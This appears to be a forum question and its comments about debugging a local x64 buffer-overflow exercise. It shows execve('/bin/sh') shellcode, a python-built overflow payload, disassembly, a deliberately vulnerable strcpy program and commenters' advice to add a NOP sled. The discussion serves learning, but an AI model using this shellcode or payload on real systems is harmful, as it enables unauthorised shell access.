I used this shell code for buffer overflow attack
$(python -c 'print "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x0f\x05\xc3"+"a"*31+"\x90\xe4\xff\xff\xff\x7f"')
(python -c is as same as perl -e)
My intention was this assembly code
__asm__ __volatile__
(
"xor %rdi,%rdi \n\t"
"push %rdi \n\t"
"push %rdi \n\t"
"pop %rsi \n\t"
"pop %rdx \n\t"
"movq $0x68732f6e69622f2f,%rdi \n\t"
"push %rdi \n\t"
"push %rsp \n\t"
"pop %rdi \n\t"
"push $0x3b \n\t"
"pop %rax \n\t"
"syscall \n\t"
);
But when I give shell code to victim program as argument, it decodes shell code as like this.
0x7fffffffe490: add %dh,(%rcx)
0x7fffffffe492: callq *0x57(%rdi)
0x7fffffffe495: pop %rsi
0x7fffffffe496: pop %rdx
0x7fffffffe497: movabs $0x5768732f6e69622f,%rdi
0x7fffffffe4a1: push %rsp
0x7fffffffe4a2: pop %rdi
0x7fffffffe4a3: pushq $0x3b
0x7fffffffe4a5: pop %rax
0x7fffffffe4a6: syscall
0x7fffffffe4a8: retq
Why this change occurs?
4004d6: 55 push %rbp
4004d7: 48 89 e5 mov %rsp,%rbp
4004da: 48 31 ff xor %rdi,%rdi
4004dd: 57 push %rdi
4004de: 57 push %rdi
4004df: 5e pop %rsi
4004e0: 5a pop %rdx
4004e1: 48 bf 2f 2f 62 69 6e movabs $0x68732f6e69622f2f,%rdi
4004e8: 2f 73 68
4004eb: 57 push %rdi
4004ec: 54 push %rsp
4004ed: 5f pop %rdi
4004ee: 6a 3b pushq $0x3b
4004f0: 58 pop %rax
4004f1: 0f 05 syscall
4004f3: 90 nop
4004f4: 5d pop %rbp
4004f5: c3 retq
I hope my shell code will decode like above but it decodes like strange.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
char buffer[36];
strcpy(buffer, argv[1]);
return 1;
}
Above is victim program source code.
And I use ubuntu 16.04 x64 architecture
objdump -d
format). My first guess is that decoding from the middle of one of the instructions you wanted to run results in different instructions. Decoding gets back in sync with what you intended pretty soon. Try using a NOP sled so the target address doesn't have to be precisely correct. (i.e. put a bunch of NOPs ahead of the code you want to run. A jump that lands anywhere in them will work.) – Peter Cordes Sep 5 at 12:40objdump -d
, or look at this example. Notice how it has a column showing the machine code in hex on the left, as well as the disassembly on the right? That's useful, and you should include that so it's easier to see how the instruction bytes forcallq *0x57(%rdi)
might include the instruction bytes forpush %rdi
– Peter Cordes Sep 5 at 15:50printf
command line utility directly instead of making a detour through Python. – FUZxxl Sep 5 at 18:420x57
displacement in the indirect CALL (0xFF
) lines up with57 push %rdi
. I had to look up CALL to confirm that it was 0xFF, though, because you still didn't include machine code hex dumps for what you say it actually decoded as. – Peter Cordes Sep 6 at 1:31